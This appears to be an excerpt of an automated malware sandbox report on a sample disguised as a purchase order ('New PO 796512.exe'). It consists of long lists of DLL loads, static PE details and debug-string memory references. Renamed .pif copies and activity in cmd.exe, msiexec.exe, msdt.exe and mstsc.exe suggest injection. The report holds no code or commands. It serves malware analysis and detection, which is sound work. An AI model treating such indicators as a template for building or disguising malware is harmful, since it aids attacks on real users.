          Source: C:\Windows\explorer.exeSection loaded: windows.internal.shell.broker.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: smartscreenps.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: mscoree.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: version.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: wldp.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: profapi.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: rsaenh.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: cryptbase.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: rasapi32.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: rasman.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: rtutils.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: mswsock.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: winhttp.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: dhcpcsvc6.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: dhcpcsvc.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: dnsapi.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: winnsi.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: rasadhlp.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: fwpuclnt.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: secur32.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: schannel.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: mskeyprotect.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: ntasn1.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: ncrypt.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: ncryptsslp.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: gpapi.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: amsi.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: userenv.dllJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: wbemcomn.dllJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeSection loaded: ntmarta.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: mscoree.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: kernel.appcore.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: version.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: vcruntime140_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: uxtheme.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: windows.storage.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: wldp.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: profapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: cryptsp.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: rsaenh.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: cryptbase.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: rasapi32.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: rasman.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: rtutils.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: mswsock.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: winhttp.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: ondemandconnroutehelper.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: iphlpapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: dhcpcsvc6.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: dhcpcsvc.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: dnsapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: winnsi.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: rasadhlp.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: fwpuclnt.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: secur32.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: sspicli.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: schannel.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: mskeyprotect.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: ntasn1.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: ncrypt.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: ncryptsslp.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: msasn1.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: gpapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: amsi.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: userenv.dll
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: wbemcomn.dll
          Source: C:\Windows\SysWOW64\cmd.exeSection loaded: ntmarta.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: mscoree.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: apphelp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: kernel.appcore.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: version.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: vcruntime140_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: uxtheme.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: windows.storage.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: wldp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: profapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: cryptsp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: rsaenh.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: cryptbase.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: rasapi32.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: rasman.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: rtutils.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: mswsock.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: winhttp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: ondemandconnroutehelper.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: iphlpapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: dhcpcsvc6.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: dhcpcsvc.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: dnsapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: winnsi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: rasadhlp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: fwpuclnt.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: secur32.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: sspicli.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: schannel.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: mskeyprotect.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: ntasn1.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: ncrypt.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: ncryptsslp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: msasn1.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: gpapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: amsi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: userenv.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: wbemcomn.dll
          Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dll
          Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dll
          Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dll
          Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dll
          Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dll
          Source: C:\Windows\SysWOW64\cmd.exeSection loaded: ntmarta.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: mscoree.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: kernel.appcore.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: version.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: vcruntime140_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: uxtheme.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: windows.storage.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: wldp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: profapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: cryptsp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: rsaenh.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: cryptbase.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: rasapi32.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: rasman.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: rtutils.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: mswsock.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: winhttp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: ondemandconnroutehelper.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: iphlpapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: dhcpcsvc6.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: dhcpcsvc.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: dnsapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: winnsi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: rasadhlp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: fwpuclnt.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: secur32.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: sspicli.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: schannel.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: mskeyprotect.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: ntasn1.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: ncrypt.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: ncryptsslp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: msasn1.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: gpapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: amsi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: userenv.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pifSection loaded: wbemcomn.dll
          Source: C:\Windows\SysWOW64\cmd.exeSection loaded: ntmarta.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: mscoree.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: apphelp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: kernel.appcore.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: version.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: vcruntime140_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: uxtheme.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: windows.storage.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: wldp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: profapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: cryptsp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: rsaenh.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: cryptbase.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: rasapi32.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: rasman.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: rtutils.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: mswsock.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: winhttp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: ondemandconnroutehelper.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: iphlpapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: dhcpcsvc6.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: dhcpcsvc.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: dnsapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: winnsi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: rasadhlp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: fwpuclnt.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: secur32.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: sspicli.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: schannel.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: mskeyprotect.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: ntasn1.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: ncrypt.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: ncryptsslp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: msasn1.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: gpapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: amsi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: userenv.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: wbemcomn.dll
          Source: C:\Windows\SysWOW64\cmd.exeSection loaded: ntmarta.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: winhttp.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: credui.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: secur32.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: cryptui.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: wininet.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: version.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: netapi32.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: winmm.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: ktmw32.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: iphlpapi.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: cryptbase.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: sspicli.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: netutils.dll
          Source: C:\Windows\SysWOW64\mstsc.exeSection loaded: wkscli.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: mscoree.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: kernel.appcore.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: version.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: vcruntime140_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: uxtheme.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: windows.storage.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: wldp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: profapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: cryptsp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: rsaenh.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: cryptbase.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: rasapi32.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: rasman.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: rtutils.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: mswsock.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: winhttp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: ondemandconnroutehelper.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: iphlpapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: dhcpcsvc6.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: dhcpcsvc.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: dnsapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: winnsi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: rasadhlp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: fwpuclnt.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: secur32.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: sspicli.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: schannel.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: mskeyprotect.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: ntasn1.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: ncrypt.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: ncryptsslp.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: msasn1.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: gpapi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: amsi.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: userenv.dll
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifSection loaded: wbemcomn.dll
          Source: C:\Windows\SysWOW64\cmd.exeSection loaded: ntmarta.dll
          Source: C:\Users\user\Desktop\New PO 796512.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
          Source: Window RecorderWindow detected: More than 3 window changes detected
          Source: C:\Users\user\Desktop\New PO 796512.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
          Source: New PO 796512.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
          Source: New PO 796512.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: New PO 796512.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
          Source: Binary string: msiexec.pdb source: New PO 796512.pif, 00000024.00000002.1663064189.00000000030A0000.00000040.10000000.00040000.00000000.sdmp, New PO 796512.pif, 00000024.00000002.1660285305.0000000001008000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000026.00000002.1663413907.0000000000620000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: msdt.pdbGCTL source: New PO 796512.exe, 0000000D.00000002.1420746555.00000000011F0000.00000040.10000000.00040000.00000000.sdmp, msdt.exe, 00000010.00000002.2528048946.0000000000990000.00000040.80000000.00040000.00000000.sdmp, msdt.exe, 00000037.00000002.1878565864.0000000000990000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: msiexec.pdbGCTL source: New PO 796512.pif, 00000024.00000002.1663064189.00000000030A0000.00000040.10000000.00040000.00000000.sdmp, New PO 796512.pif, 00000024.00000002.1660285305.0000000001008000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000026.00000002.1663413907.0000000000620000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: wntdll.pdbUGP source: New PO 796512.exe, 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000010.00000003.1421047373.0000000004AB3000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000010.00000003.1423951264.0000000004C9F000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000010.00000002.2534001351.0000000004E50000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000010.00000002.2534001351.0000000004FEE000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.1579372089.00000000033DE000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 0000001D.00000003.1576071856.0000000002EDC000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001D.00000003.1577779774.000000000308F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.1579372089.0000000003240000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000026.00000003.1659566483.000000000460B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000026.00000003.1662065552.00000000047BE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000026.00000002.1663994757.0000000004970000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000026.00000002.1663994757.0000000004B0E000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 0000002D.00000002.1738268708.0000000003CE0000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 0000002D.00000002.1738268708.0000000003E7E000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 0000002D.00000003.1734008575.0000000003985000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000002D.00000003.1736028153.0000000003B39000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000037.00000003.1872922865.00000000044F1000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000037.00000002.1878838157.0000000004850000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000037.00000002.1878838157.00000000049EE000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000037.00000003.1876451409.00000000046A4000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000042.00000002.1972174212.0000000004A50000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000042.00000003.1953333565.00000000046FD000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000042.00000003.1967687442.00000000048A9000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000042.00000002.1972174212.0000000004BEE000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: cmd.pdbUGP source: New PO 796512.pif, 0000001B.00000002.1578194942.0000000003220000.00000040.10000000.00040000.00000000.sdmp, cmd.exe, 0000001D.00000002.1578924510.0000000000410000.00000040.80000000.00040000.00000000.sdmp, cmd.exe, 0000002D.00000002.1737541241.0000000000410000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: New PO 796512.exe, New PO 796512.exe, 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000010.00000003.1421047373.0000000004AB3000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000010.00000003.1423951264.0000000004C9F000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000010.00000002.2534001351.0000000004E50000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000010.00000002.2534001351.0000000004FEE000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.1579372089.00000000033DE000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 0000001D.00000003.1576071856.0000000002EDC000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001D.00000003.1577779774.000000000308F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.1579372089.0000000003240000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000026.00000003.1659566483.000000000460B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000026.00000003.1662065552.00000000047BE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000026.00000002.1663994757.0000000004970000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000026.00000002.1663994757.0000000004B0E000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 0000002D.00000002.1738268708.0000000003CE0000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 0000002D.00000002.1738268708.0000000003E7E000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 0000002D.00000003.1734008575.0000000003985000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000002D.00000003.1736028153.0000000003B39000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000037.00000003.1872922865.00000000044F1000.00000004.00000020.00020000.00000000.sdmp, msdt.exe, 00000037.00000002.1878838157.0000000004850000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000037.00000002.1878838157.00000000049EE000.00000040.00001000.00020000.00000000.sdmp, msdt.exe, 00000037.00000003.1876451409.00000000046A4000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000042.00000002.1972174212.0000000004A50000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000042.00000003.1953333565.00000000046FD000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000042.00000003.1967687442.00000000048A9000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000042.00000002.1972174212.0000000004BEE000.00000040.00001000.00020000.00000000.sdmp
